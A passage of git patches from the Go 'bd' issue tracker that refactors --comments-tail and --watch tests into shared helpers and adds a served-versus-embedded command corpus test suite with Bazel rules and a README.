`buildDomainGraphPlan` path, so a graph create gets the same atomic multi-row semantics as `bd batch apply`. A `waits-for` edge's diff --git a/cmd/bd/show_comments_tail_embedded_test.go b/cmd/bd/show_comments_tail_embedded_test.go index 8b5dafd4a..5a24aad75 100644 --- a/cmd/bd/show_comments_tail_embedded_test.go +++ b/cmd/bd/show_comments_tail_embedded_test.go @@ -34,8 +34,8 @@ func TestEmbeddedShowCommentsTail(t *testing.T) { t.Run("direct_off_state_matches_absence", func(t *testing.T) { without := bdShowRaw(t, bd, dir, issue.ID) - assertCommentsTailOff(t, "direct --comments-tail 0", bdShowRaw(t, bd, dir, issue.ID, "--comments-tail", "0"), without) - assertCommentsTailOff(t, "direct --comments-tail 5", bdShowRaw(t, bd, dir, issue.ID, "--comments-tail", "5"), without) + assertCommentsTailOff(t, "direct --comments-tail 0", true, bdShowRaw(t, bd, dir, issue.ID, "--comments-tail", "0"), without) + assertCommentsTailOff(t, "direct --comments-tail 5", true, bdShowRaw(t, bd, dir, issue.ID, "--comments-tail", "5"), without) }) t.Run("direct_negative_is_usage_error", func(t *testing.T) { @@ -46,18 +46,12 @@ func TestEmbeddedShowCommentsTail(t *testing.T) { }) t.Run("direct_json_untouched", func(t *testing.T) { - withFlag, err := bdRunWithFlockRetry(t, bd, dir, "show", issue.ID, "--json", "--include-comments", "--comments-tail", "1") - if err != nil { - t.Fatalf("bd show --json --comments-tail 1 failed: %v\n%s", err, withFlag) - } - without, err := bdRunWithFlockRetry(t, bd, dir, "show", issue.ID, "--json", "--include-comments") - if err != nil { - t.Fatalf("bd show --json failed: %v\n%s", err, without) - } - if string(withFlag) != string(without) { + withFlag := bdShowRaw(t, bd, dir, issue.ID, "--json", "--include-comments", "--comments-tail", "1") + without := bdShowRaw(t, bd, dir, issue.ID, "--json", "--include-comments") + if withFlag != without { t.Errorf("--json output changed under --comments-tail 1\n--- with flag\n%s\n--- without\n%s", withFlag, without) } - if !strings.Contains(string(withFlag), commentsTailOldest) { + if !strings.Contains(withFlag, commentsTailOldest) { t.Errorf("--json --include-comments dropped the oldest comment under --comments-tail 1:\n%s", withFlag) } }) diff --git a/cmd/bd/show_comments_tail_proxied_integration_test.go b/cmd/bd/show_comments_tail_proxied_integration_test.go index ea56a1677..c0a0bc909 100644 --- a/cmd/bd/show_comments_tail_proxied_integration_test.go +++ b/cmd/bd/show_comments_tail_proxied_integration_test.go @@ -4,9 +4,7 @@ package main import ( "fmt" - "os/exec" "strings" - "syscall" "testing" "time" ) @@ -63,31 +61,19 @@ func assertCommentsTailOne(t *testing.T, route, out, issueID string) { } } -// stripShowTips removes the "💡 Tip: …" line maybeShowTip (show.go, on the -// direct route after a text render) may append. Whether a tip prints is a -// per-run probability roll behind a per-tip frequency gate recorded in the -// store, independent of --comments-tail, so of two renders that are -// otherwise identical one can carry the tip and the other not. Trailing -// newlines are normalized with it, since the tip block arrives as a blank -// line plus the tip line. -func stripShowTips(out string) string { - var kept []string - for _, line := range strings.Split(out, "\n") { - if strings.HasPrefix(line, "💡 Tip: ") { - continue - } - kept = append(kept, line) - } - return strings.TrimRight(strings.Join(kept, "\n"), "\n") + "\n" -} - // assertCommentsTailOff checks that a render with the flag in its off state // (0, or a cap at or above the count) is byte-identical to a render without -// the flag (tips stripped, see stripShowTips), and that the uncapped render -// carries every comment and no elision line. -func assertCommentsTailOff(t *testing.T, route, withFlag, without string) { +// the flag, and that the uncapped render carries every comment and no elision +// line. Only on the direct route (tips) may the two legitimately differ, by +// the trailing tip block stripTrailingShowTip removes from both first; the +// proxied route never prints a tip, so its renders are compared as they came. +// Nothing else is forgiven: a stray trailing blank line printed only under +// --comments-tail fails here on every route. +func assertCommentsTailOff(t *testing.T, route string, tips bool, withFlag, without string) { t.Helper() - withFlag, without = stripShowTips(withFlag), stripShowTips(without) + if tips { + withFlag, without = stripTrailingShowTip(withFlag), stripTrailingShowTip(without) + } if withFlag != without { t.Errorf("%s: render differs from the flag's absence\n--- with flag\n%s\n--- without\n%s", route, withFlag, without) } @@ -102,48 +88,17 @@ func assertCommentsTailOff(t *testing.T, route, withFlag, without string) { } // runShowWatchOnce starts `bd show ` (the caller passes --watch), waits -// for the first render to land, stops the watch with SIGINT and returns the -// stdout of that single render. The render/quiet/stop choreography is the -// one TestProxiedServerShowWatch uses, so see its comments for why the +// for the first render to land on stdout, stops the watch with SIGINT and +// returns the stdout of that single render. The start / stop choreography is +// startShowWatch + interrupt (show_proxied_watch_integration_test.go), the +// same TestProxiedServerShowWatch runs; the quiet wait in between is why the // banner alone is not proof that stdout has fully landed. func runShowWatchOnce(t *testing.T, bd, dir string, env []string, args ...string) string { t.Helper() - stdout := &watchBannerWriter{renders: make(chan int, 1)} - stderr := &watchBannerWriter{renders: make(chan int, 1)} - cmd := exec.Command(bd, append([]string{"show"}, args...)...) - cmd.Dir = dir - cmd.Env = env - cmd.Stdout = stdout - cmd.Stderr = stderr - if err := cmd.Start(); err != nil { - t.Fatalf("start bd show %s: %v", strings.Join(args, " "), err) - } - var waitErr error - exited := make(chan struct{}) - go func() { - waitErr = cmd.Wait() - close(exited) - }() - t.Cleanup(func() { - _ = cmd.Process.Kill() - <-exited - }) - if !stderr.waitForRender(1, 60*time.Second, exited) { - t.Fatalf("bd show %s never started watching\nstdout:\n%s\nstderr:\n%s", strings.Join(args, " "), stdout.String(), stderr.String()) - } - stdout.waitForQuiet(500*time.Millisecond, 10*time.Second, exited) - if err := cmd.Process.Signal(syscall.SIGINT); err != nil { - t.Fatalf("signal bd show --watch: %v", err) - } - select { - case <-exited: - if waitErr != nil { - t.Fatalf("bd show %s exited with %v after SIGINT, want 0\nstderr:\n%s", strings.Join(args, " "), waitErr, stderr.String()) - } - case <-time.After(30 * time.Second): - t.Fatalf("bd show %s ignored SIGINT\nstderr:\n%s", strings.Join(args, " "), stderr.String()) - } - return stdout.String() + w := startShowWatch(t, bd, dir, env, append([]string{"show"}, args...)...) + w.stdout.waitForQuiet(500*time.Millisecond, 10*time.Second, w.exited) + w.interrupt(t) + return w.stdout.String() } // TestProxiedServerShowCommentsTail drives the proxied route @@ -169,8 +124,8 @@ func TestProxiedServerShowCommentsTail(t *testing.T) { t.Run("proxied_off_state_matches_absence", func(t *testing.T) { t.Parallel() without := bdProxiedShowRaw(t, bd, p.dir, issue.ID) - assertCommentsTailOff(t, "proxied --comments-tail 0", bdProxiedShowRaw(t, bd, p.dir, issue.ID, "--comments-tail", "0"), without) - assertCommentsTailOff(t, "proxied --comments-tail 5", bdProxiedShowRaw(t, bd, p.dir, issue.ID, "--comments-tail", "5"), without) + assertCommentsTailOff(t, "proxied --comments-tail 0", false, bdProxiedShowRaw(t, bd, p.dir, issue.ID, "--comments-tail", "0"), without) + assertCommentsTailOff(t, "proxied --comments-tail 5", false, bdProxiedShowRaw(t, bd, p.dir, issue.ID, "--comments-tail", "5"), without) }) t.Run("proxied_negative_is_usage_error", func(t *testing.T) { diff --git a/cmd/bd/show_comments_tail_test.go b/cmd/bd/show_comments_tail_test.go index 3356ecef2..34eedf2c1 100644 --- a/cmd/bd/show_comments_tail_test.go +++ b/cmd/bd/show_comments_tail_test.go @@ -314,3 +314,45 @@ func TestRenderWatchComments_HonoursTail(t *testing.T) { t.Errorf("expected elision line %q in watch output, got:\n%s", wantLine, out) } } + +// stripTrailingShowTip removes the one tip block maybeShowTip (tips.go) may +// append after a direct-route text render — "\n💡 Tip: \n" at the +// very end of stdout — and nothing else. Whether a tip prints is a per-run +// probability roll behind a per-tip frequency gate recorded in the store, +// independent of --comments-tail, so of two renders that are otherwise +// identical one can carry the tip and the other not. A tip anywhere but the +// end, or output that does not end in a newline, is returned unchanged; in +// particular no trailing newline is ever normalized away, so the route tests +// that compare two renders (assertCommentsTailOff) still see one. +func stripTrailingShowTip(out string) string { + i := strings.LastIndex(out, "\n💡 Tip: ") + if i < 0 || !strings.HasSuffix(out, "\n") { + return out + } + if strings.Count(out[i+1:], "\n") != 1 { + return out // the tip is not the last line + } + return out[:i] +} + +func TestStripTrailingShowTip(t *testing.T) { + const render = "○ ct-1 · Tail me\n\nComments (1):\n CT-NEWEST-CHARLIE\n" + const tip = "\n💡 Tip: run `bd prime` after a compaction\n" + cases := []struct{ name, in, want string }{ + {"no_tip_unchanged", render, render}, + {"trailing_tip_block_stripped", render + tip, render}, + {"stray_trailing_blank_line_kept", render + "\n", render + "\n"}, + {"blank_line_after_tip_kept", render + tip + "\n", render + tip + "\n"}, + {"tip_followed_by_output_kept", render + tip + "more\n", render + tip + "more\n"}, + {"tip_as_first_line_kept", "💡 Tip: x\n" + render, "💡 Tip: x\n" + render}, + {"no_final_newline_kept", render + "\n💡 Tip: x", render + "\n💡 Tip: x"}, + {"empty", "", ""}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + if got := stripTrailingShowTip(tc.in); got != tc.want { + t.Errorf("stripTrailingShowTip(%q) = %q, want %q", tc.in, got, tc.want) + } + }) + } +} diff --git a/cmd/bd/show_proxied_watch_integration_test.go b/cmd/bd/show_proxied_watch_integration_test.go index 9b5d8a076..61ff9c023 100644 --- a/cmd/bd/show_proxied_watch_integration_test.go +++ b/cmd/bd/show_proxied_watch_integration_test.go @@ -108,6 +108,72 @@ func (w *watchBannerWriter) waitForQuiet(idle, timeout time.Duration, exited <-c } } +// showWatch is one running `bd … show … --watch` child: its stdout and stderr +// (locked writers, since a test reads them while the child is still writing) +// and the channel its Wait closes. startShowWatch creates it; interrupt stops +// it. The start / first-render / SIGINT / bounded-exit choreography lives here +// once, so TestProxiedServerShowWatch and the --comments-tail route tests +// (runShowWatchOnce) cannot drift apart. +type showWatch struct { + args string + cmd *exec.Cmd + stdout *watchBannerWriter + stderr *watchBannerWriter + exited chan struct{} + waitErr error +} + +// startShowWatch starts `bd ` (the caller passes "show", the id and +// --watch, plus any global flags) in dir with env, registers a kill-and-reap +// cleanup, and returns once the first render banner has landed on stderr. The +// banner only proves the render STARTED: stdout is an independent pipe, so a +// caller that reads stdout waits for it to go quiet (waitForQuiet) first. +func startShowWatch(t *testing.T, bd, dir string, env []string, argv ...string) *showWatch { + t.Helper() + w := &showWatch{ + args: strings.Join(argv, " "), + stdout: &watchBannerWriter{renders: make(chan int, 1)}, + stderr: &watchBannerWriter{renders: make(chan int, 1)}, + exited: make(chan struct{}), + } + w.cmd = exec.Command(bd, argv...) + w.cmd.Dir = dir + w.cmd.Env = env + w.cmd.Stdout = w.stdout + w.cmd.Stderr = w.stderr + if err := w.cmd.Start(); err != nil { + t.Fatalf("start bd %s: %v", w.args, err) + } + go func() { + w.waitErr = w.cmd.Wait() + close(w.exited) + }() + t.Cleanup(func() { + _ = w.cmd.Process.Kill() + <-w.exited + }) + if !w.stderr.waitForRender(1, 60*time.Second, w.exited) { + t.Fatalf("bd %s never started watching\nstdout:\n%s\nstderr:\n%s", w.args, w.stdout.String(), w.stderr.String()) + } + return w +} + +// interrupt sends SIGINT and requires the watch to exit 0 within 30s. +func (w *showWatch) interrupt(t *testing.T) { + t.Helper() + if err := w.cmd.Process.Signal(syscall.SIGINT); err != nil { + t.Fatalf("signal bd %s: %v", w.args, err) + } + select { + case <-w.exited: + if w.waitErr != nil { + t.Fatalf("bd %s exited with %v after SIGINT, want 0\nstderr:\n%s", w.args, w.waitErr, w.stderr.String()) + } + case <-time.After(30 * time.Second): + t.Fatalf("bd %s ignored SIGINT\nstderr:\n%s", w.args, w.stderr.String()) + } +} + // TestProxiedServerShowWatch pins `bd show --watch` under --proxied-server to // the direct route's contract: render once, redraw when the issue's // status/updated_at snapshot changes, and stop cleanly on SIGINT. Proxied mode @@ -123,51 +189,19 @@ func TestProxiedServerShowWatch(t *testing.T) { p := newSharedProxiedProject(t, bd, "swr") issue := bdProxiedCreate(t, bd, p.dir, "Watch me", "--type", "task") - var stdout bytes.Buffer - stderr := &watchBannerWriter{renders: make(chan int, 1)} - cmd := exec.Command(bd, "show", issue.ID, "--watch") - cmd.Dir = p.dir - cmd.Env = bdProxiedEnv(p.dir) - cmd.Stdout = &stdout - cmd.Stderr = stderr - if err := cmd.Start(); err != nil { - t.Fatalf("start bd show --watch: %v", err) - } - var waitErr error - exited := make(chan struct{}) - go func() { - waitErr = cmd.Wait() - close(exited) - }() - t.Cleanup(func() { - _ = cmd.Process.Kill() - <-exited - }) - - if !stderr.waitForRender(1, 60*time.Second, exited) { - t.Fatalf("bd show --watch never started watching\nstdout:\n%s\nstderr:\n%s", stdout.String(), stderr.String()) - } + w := startShowWatch(t, bd, p.dir, bdProxiedEnv(p.dir), "show", issue.ID, "--watch") + stdout, stderr := w.stdout, w.stderr if strings.Contains(stderr.String(), "not supported") { t.Fatalf("bd show --watch refused under --proxied-server:\n%s", stderr.String()) } bdProxiedUpdateOne(t, bd, p.dir, issue.ID, "--status", "in_progress") - if !stderr.waitForRender(2, 60*time.Second, exited) { + if !stderr.waitForRender(2, 60*time.Second, w.exited) { t.Fatalf("bd show --watch did not redraw after the status change\nstdout:\n%s\nstderr:\n%s", stdout.String(), stderr.String()) } - if err := cmd.Process.Signal(syscall.SIGINT); err != nil { - t.Fatalf("signal bd show --watch: %v", err) - } - select { - case <-exited: - if waitErr != nil { - t.Fatalf("bd show --watch exited with %v after SIGINT, want 0\nstderr:\n%s", waitErr, stderr.String()) - } - case <-time.After(30 * time.Second): - t.Fatalf("bd show --watch ignored SIGINT\nstderr:\n%s", stderr.String()) - } + w.interrupt(t) if !strings.Contains(stderr.String(), "Stopped watching.") { t.Errorf("stderr lacks the stop line:\n%s", stderr.String()) } @@ -189,30 +223,8 @@ func TestProxiedServerShowWatch(t *testing.T) { p := newSharedProxiedProject(t, bd, "swd") issue := bdProxiedCreate(t, bd, p.dir, "Watch then delete", "--type", "task") - // Locked: stdout is read while the child is still writing to it. - stdout := &watchBannerWriter{renders: make(chan int, 1)} - stderr := &watchBannerWriter{renders: make(chan int, 1)} - cmd := exec.Command(bd, "--json", "show", issue.ID, "--watch") - cmd.Dir = p.dir - cmd.Env = bdProxiedEnv(p.dir) - cmd.Stdout = stdout - cmd.Stderr = stderr - if err := cmd.Start(); err != nil { - t.Fatalf("start bd show --watch: %v", err) - } - exited := make(chan struct{}) - go func() { - _ = cmd.Wait() - close(exited) - }() - t.Cleanup(func() { - _ = cmd.Process.Kill() - <-exited - }) - - if !stderr.waitForRender(1, 60*time.Second, exited) { - t.Fatalf("bd show --watch never started watching\nstdout:\n%s\nstderr:\n%s", stdout.String(), stderr.String()) - } + w := startShowWatch(t, bd, p.dir, bdProxiedEnv(p.dir), "--json", "show", issue.ID, "--watch") + stdout, stderr, exited := w.stdout, w.stderr, w.exited // The banner only proves the render STARTED (it is printed right // after render() returns, on an independent pipe from stdout); wait // for stdout itself to go idle before trusting its length as a From 225ed7f7bb53c449eebd6a1b077e9d435e9f43d0 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Sun, 11 Oct 2026 05:34:51 +0000 Subject: [PATCH 230/325] test(backend/http/corpus): served MC command corpus against the reference server profile (S23) (#7483) * test(backend/http/corpus): served command corpus against the reference server profile Add the S23 suite: every distinct bd command shape gc and its packs and formulas issue against a work store (124 shapes in testdata/corpus.yaml), run by the real bd binary against an in-process bd serve and compared with the same command on an embedded workspace. The server is bound in non-loopback mode with bearer auth. A reference proxy masks it to a deployed bd 1.3.0 server's wire surface (testdata/reference_server.json): exactly that server's capabilities and handshake members (no wire_revision), a 404 for operations it does not publish, and a 400 unknown_parameter for query parameters and request members it does not declare. Every bd run sets BEADS_ACTOR and CLAUDE_SESSION_ID. A shape passes when the served run exits like the embedded run, carries no refusal, and matches its output (json/ids/count/text) and its verify reads. Known gaps are marked `pending` with the slice that fixes them. A pending shape still runs, and it fails once it passes, so removing the mark is how a slice proves itself. Permanent refusals are listed in testdata/allowlist.yaml with reasons. A limited listing that cuts through a tie set (same priority, created_at in one second) lands on different rows on two workspaces seeded seconds apart; such a shape names its unlimited form in `prefix_of`, and each side's limited rows must be an ordered prefix of that side's own unlimited listing. //backend/http/corpus:corpus_test takes //cmd/bd:bd_for_tests (size large, timeout long), so under bazel the suite runs instead of skipping on a missing BEADS_TEST_BD_BINARY. Stacked on S6b/c/d, whose marks this file no longer carries: besides the S6b/S6c/S6d marks, seven list shapes once marked S6c+S15 (their --limit 0 list walks the keyset cursor without S15) and the S6c+S16 last-step close (an ordinary epic root never auto-closes) already pass on it. On S6b/c/d (bazel, BEADS_TEST_EMBEDDED_DOLT=1): 97 pass, 25 pending, 3 allowlisted. Co-Authored-By: Claude Opus 5.5 * test(backend/http/corpus): hand the corpus server the LeaseReclaimer role main gained the LeaseReclaimer role (issues.reclaim) after S23 was written, and httpapi.Config needs it when built from roles rather than a Provider, so on the restacked S6bcd TestServedCorpus could not bind its in-process server ("no database source"). The harness now passes s.LeaseReclaimer() with the rest, as backend/http's e2e harness does. The reference proxy still masks the issues.reclaim token, so gc-reclaim stays pending. On the restacked S6bcd (bazel, BEADS_TEST_EMBEDDED_DOLT=1): 97 pass, 25 pending, 3 allowed, unchanged from before the restack. Co-Authored-By: Claude Opus 5.5 * test(backend/http/corpus): run the corpus in CI, hold allowlisted shapes Review fixes for #7483 (review attempt 1): both majors, and four of the seven minors and nits. No CI lane ran TestServedCorpus. corpus_test sets neither BEADS_TEST_EMBEDDED_DOLT nor BEADS_HTTP_TEST_REQUIRED, so the suite skipped everywhere. corpus_served_test, an embedded-tagged sh_test over go_test_variant.sh like http_served_test, runs it with both set and with Bazel's prebuilt bd, and pr_risk_bazel_coverage_test pins its args and env. Every other file in the package builds only under cgo, so a new cgo-free test fails a BEADS_HTTP_TEST_REQUIRED=1 run that would otherwise pass having run nothing. README.md and engdocs/TESTING.md say which lane runs the suite. The allowlist branch returned before the embedded exit check, so an allowlisted shape was never held to what it says on the embedded backend. The embedded run is now checked against the shape's expect_exit and expect_stderr before the allowlist branch, and an embedded mismatch fails as a corpus bug whatever the shape's pending mark or allowlist entry. TestCorpusFileIsWellFormed requires an allowlisted shape to state expect_exit and to carry nothing the allowlist would skip (compare: exit, no verify). The three allowlisted shapes now pin their embedded refusals, and the bd sql reasons say the command needs a sql-server workspace instead of calling it local-only. Minors and nits taken: - two stale-guard shapes (--if-assignee nobody, --if-status open) expect exit 13 on both sides; each kills a client that drops that guard; - defer_until and due_at are compared as given instead of scrubbed to , which kills a client that shifts --defer; - gc-reclaim's pending mark names SRV-1 alone: the reference profile does not advertise issues.reclaim, so the client refuses at its capability preflight; - refusalMarkers matches "does not advertise capability" unquoted, which also catches the JSON-escaped preflight error. Declined: - a failure on empty-vs-empty comparisons, which needs an allow_empty opt-in. Review attempt 2 seeded rows for two of the three ready shapes that compared two empty lists (below); gc-ready-graph-anchor still does; - the context route's query check in the reference proxy: the server already answers an unknown query parameter there with a 400 unknown_parameter, which the proxy passes through, so the served run still fails; only the proxy's own refusal note is missing; - a shared server constructor for the two e2e harnesses, which the review marks optional. Review attempt 2: four of its six minors and nits. - gc-ready-ephemeral-assignee-unlimited and gc-ready-assigned-tier compared two empty lists, so a client that sent the wrong assignee or dropped --include-ephemeral passed both. Two seed rows assigned to the worker, an open task (P2) and an open wisp (P1), give them [e2e-wisp-wr e2e-wr] and [e2e-wisp-wr]. The priorities differ, so --limit=1 cuts no tie. A client that rewrites the assignee, or drops include_ephemeral, now fails both shapes; without the rows it passed them. - templatePattern looped forever on a profile path with an unclosed "{", growing its pattern without bound. It now returns an error, which loadReferenceProfile reports with the operation and path, and TestCorpusFileIsWellFormed loads the profile, so corpus_test catches a bad edit without the embedded engine. - TestCorpusFileIsWellFormed compiles every expect_stderr and every allowlist refusal, and runShape compiles expect_stderr once and fails the shape as a corpus bug instead of panicking on a bad pattern. - README.md documents the stdin, setup, ordered and ignore_fields fields. Not in this commit: - the PR description (shape counts, allowlist reasons, gc-reclaim's SRV-1 mark, the Bazel run line) is brought up to date when this commit is pushed; - hoisting runBD, minimalBDEnv, buildBD and the skip gate into internal/testutil, or cross-reference comments in their three copies, which the review marks optional and which reaches outside this package. The full corpus gives 127 shapes: 99 pass, 25 pending, 3 allowed, with no shape changing status from the attempt 1 fixup, on this tree and merged with main at 0a163ca285. Agent-Signature: claude-code-claude-opus-5-5-unknown-reasoning on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 5.5 --- BUILD.bazel | 4 + backend/http/corpus/BUILD.bazel | 123 +++ backend/http/corpus/README.md | 120 +++ backend/http/corpus/corpus_test.go | 817 ++++++++++++++++++ backend/http/corpus/harness_test.go | 312 +++++++ backend/http/corpus/reference_proxy_test.go | 279 ++++++ .../http/corpus/required_corpus_tier_test.go | 23 + backend/http/corpus/testdata/allowlist.yaml | 29 + backend/http/corpus/testdata/corpus.yaml | 735 ++++++++++++++++ .../corpus/testdata/reference_server.json | 595 +++++++++++++ cmd/bd/BUILD.bazel | 1 + engdocs/TESTING.md | 2 +- scripts/pr_risk_bazel_coverage_test.go | 6 + 13 files changed, 3045 insertions(+), 1 deletion(-) create mode 100644 backend/http/corpus/BUILD.bazel create mode 100644 backend/http/corpus/README.md create mode 100644 backend/http/corpus/corpus_test.go create mode 100644 backend/http/corpus/harness_test.go create mode 100644 backend/http/corpus/reference_proxy_test.go create mode 100644 backend/http/corpus/required_corpus_tier_test.go create mode 100644 backend/http/corpus/testdata/allowlist.yaml create mode 100644 backend/http/corpus/testdata/corpus.yaml create mode 100644 backend/http/corpus/testdata/reference_server.json diff --git a/BUILD.bazel b/BUILD.bazel index 104409817..7b10becbc 100644 --- a/BUILD.bazel +++ b/BUILD.bazel @@ -300,6 +300,7 @@ filegroup( "//backend:repo_doc_files", "//backend/conformance:repo_doc_files", "//backend/http:repo_doc_files", + "//backend/http/corpus:repo_doc_files", "//beadserrors:repo_doc_files", "//cmd/bd:repo_doc_files", "//cmd/bd/doctor:repo_doc_files", @@ -533,6 +534,7 @@ filegroup( "//backend:repo_go_srcs", "//backend/conformance:repo_go_srcs", "//backend/http:repo_go_srcs", + "//backend/http/corpus:repo_go_srcs", "//beadserrors:repo_go_srcs", "//cmd/bd:repo_go_srcs", "//cmd/bd/doctor:repo_go_srcs", @@ -751,6 +753,7 @@ filegroup( "//backend:repo_go_test_srcs", "//backend/conformance:repo_go_test_srcs", "//backend/http:repo_go_test_srcs", + "//backend/http/corpus:repo_go_test_srcs", "//beadserrors:repo_go_test_srcs", "//cmd/bd:repo_go_test_srcs", "//cmd/bd/doctor:repo_go_test_srcs", @@ -978,6 +981,7 @@ filegroup( "//backend:repo_other_files", "//backend/conformance:repo_other_files", "//backend/http:repo_other_files", + "//backend/http/corpus:repo_other_files", "//beadserrors:repo_other_files", "//cmd/bd:repo_other_files", "//cmd/bd/doctor:repo_other_files", diff --git a/backend/http/corpus/BUILD.bazel b/backend/http/corpus/BUILD.bazel new file mode 100644 index 000000000..7a6f87f43 --- /dev/null +++ b/backend/http/corpus/BUILD.bazel @@ -0,0 +1,123 @@ +load("@rules_go//go:def.bzl", "go_test") +load("@rules_shell//shell:sh_test.bzl", "sh_test") + +go_test( + name = "corpus_test", + # The corpus runs every shape through the real bd (bazeltest.PrebuiltBD), + # served and embedded, under BEADS_TEST_EMBEDDED_DOLT=1 (corpus_served_test + # below); it skips otherwise. + size = "large", + timeout = "long", + srcs = [ + "corpus_test.go", + "harness_test.go", + "reference_proxy_test.go", + "required_corpus_tier_test.go", + ], + data = glob(["testdata/**"]) + ["//cmd/bd:bd_for_tests"], + env = {"BEADS_TEST_BD_BINARY": "$(rlocationpath //cmd/bd:bd_for_tests)"}, + deps = [ + "//internal/httpapi", + "//internal/httpapi/apigen", + "//internal/storage", + "//internal/storage/domain", + "//internal/storage/embeddeddolt", + "//internal/testutil/bazeltest", + "@in_gopkg_yaml_v3//:yaml_v3", + ], +) + +# corpus_test again, with the corpus tier on: BEADS_TEST_EMBEDDED_DOLT=1 runs +# TestServedCorpus and BEADS_HTTP_TEST_REQUIRED=1 turns a skip of it into a +# failure. corpus_test alone skips TestServedCorpus in every lane, because no +# lane sets those variables for it. It repeats corpus_test's `env` +# (go_test_variant.sh). +# +# Tags: +# embedded: the embedded-Dolt tier; excluded from --config=prcore/ci, +# selected by --config=embedded. +sh_test( + name = "corpus_served_test", + size = "large", + # -test.timeout=19m fires (with a goroutine dump) before Bazel's 1200s + # action limit (eternal under --config=embedded). + timeout = "eternal", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = [ + "$(rootpath :corpus_test)", + "-test.v", + "-test.count=1", + "-test.timeout=19m", + ], + data = [ + ":corpus_test", + "//cmd/bd:bd_for_tests", + ], + env = { + "BEADS_HTTP_TEST_REQUIRED": "1", + "BEADS_TEST_BD_BINARY": "$(rlocationpath //cmd/bd:bd_for_tests)", + "BEADS_TEST_EMBEDDED_DOLT": "1", + }, + tags = ["embedded"], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +# --- end repo_files --- diff --git a/backend/http/corpus/README.md b/backend/http/corpus/README.md new file mode 100644 index 000000000..57e17550b --- /dev/null +++ b/backend/http/corpus/README.md @@ -0,0 +1,120 @@ +# Served command corpus + +This suite is the working definition of "bd fully supports a remote HTTP +backend". It runs every distinct `bd` command shape that an orchestrator (gc) +and its packs and formulas issue against a work store. Each shape runs +against a served workspace and is compared with the same command on an +embedded workspace. + +## What runs + +`TestServedCorpus` does the following: + +1. Builds `bd` from this tree. `BEADS_TEST_BD_BINARY=` reuses a prebuilt + binary instead. +2. Starts an in-process `bd serve` (`httpapi.Listen` over embedded Dolt) the + way a deployed server is bound: `AllowNonLoopback` plus a bearer token + file. The socket is still `127.0.0.1`, but the bind mode decides every + behaviour the server keys on, including its refusal of unlimited reads. +3. Puts a reference proxy in front of the server. The proxy makes it answer + like the deployed reference server described in + `testdata/reference_server.json`: + - the context handshake publishes exactly that server's capability set and + its `ContextResponse` members (so no `wire_revision`); + - an operation the reference server does not publish gets the server's own + 404; + - a query parameter or top-level request member it does not declare gets + the server's own 400 `unknown_parameter`. +4. Runs `bd connect` on one workspace and `bd init` on another. Both get the + `seed` from `testdata/corpus.yaml`: one graph of named rows, plus bulk + graphs that put more than one server page of ready rows and wisps in the + store. Both sides use `BEADS_ACTOR=worker` and set `CLAUDE_SESSION_ID`. +5. Runs each shape as a subtest, on both sides. The embedded run must exit + with the shape's `expect_exit` and match its `expect_stderr`. If it does + not, the shape is wrong or bd changed, and the subtest fails as a corpus + bug that no pending mark or allowlist entry hides. The served run must: + - exit like the embedded run; + - carry no refusal (`ErrUnsupported`, a v0-wire refusal, the + loopback-only 400, or a reference-profile 404/400); + - match the embedded output under the shape's `compare` mode, after + timestamps and revision tokens are dropped (but not `defer_until` or + `due_at`: a shape sets those itself, as absolute dates, and they must + match exactly); + - for writes, give the same JSON from every `verify` read on both sides + afterwards. + +The run takes about five minutes. + +``` +CGO_ENABLED=1 BEADS_TEST_EMBEDDED_DOLT=1 BEADS_HTTP_TEST_REQUIRED=1 \ + go test -tags gms_pure_go -run 'TestServedCorpus|TestCorpusFile' ./backend/http/corpus/ +``` + +In CI, `//backend/http/corpus:corpus_served_test` runs the suite with both +variables set, in the Embedded Dolt lane (`--config=embedded`; see +[engdocs/TESTING.md](../../../engdocs/TESTING.md)). `corpus_test` on its own +sets neither, so it skips `TestServedCorpus`. + +Two environment variables change the run: +- `BEADS_CORPUS_REPORT=` writes a JSON summary with per-shape status + and request counts. +- `BEADS_CORPUS_SKIP_PENDING=1` skips pending shapes without running them. + +## The data + +| File | Holds | +|---|---| +| `testdata/corpus.yaml` | assets, the seed, and the shapes | +| `testdata/allowlist.yaml` | permanent refusals, each with its reason and the refusal text the served run must match | +| `testdata/reference_server.json` | the reference server's wire surface | + +Each shape in `corpus.yaml` has these fields: + +| Field | Meaning | +|---|---| +| `id` | `gc-*` for orchestrator subprocess shapes, `mc-*` for pack/formula/prompt shapes | +| `source` | where the shape comes from | +| `args` | the argv; `{file:NAME}` expands to an asset path and `{rev:ID}` to that side's current revision of `ID` | +| `stdin` | text piped to `bd` on both sides | +| `setup` | commands run on both sides before the shape; one that fails fails the shape | +| `compare` | `json` (default), `ids`, `count`, `text` or `exit` | +| `ordered` | under `json` and `ids`, array order is significant; by default arrays are sorted before comparing | +| `prefix_of` | for a limited `ids` listing: its unlimited form. Each side's limited rows must be a prefix, in order, of that side's own unlimited listing, both sides return as many rows, and the two unlimited listings hold the same ids. A limit that cuts through a tie set (same priority, `created_at` in the same second) lands on different rows on two workspaces seeded seconds apart, so the limited rows are not compared across sides directly | +| `verify` | reads run after the shape | +| `ignore_fields` | JSON keys dropped, at any depth, before a `json` comparison and before `verify` output is compared; for example comment ids, which each workspace mints itself | +| `expect_exit`, `expect_stderr` | expected outcome on both sides (exit 0 by default). An allowlisted shape must state `expect_exit`; only its embedded run is held to these | +| `pending` | a known failure | + +`pending: 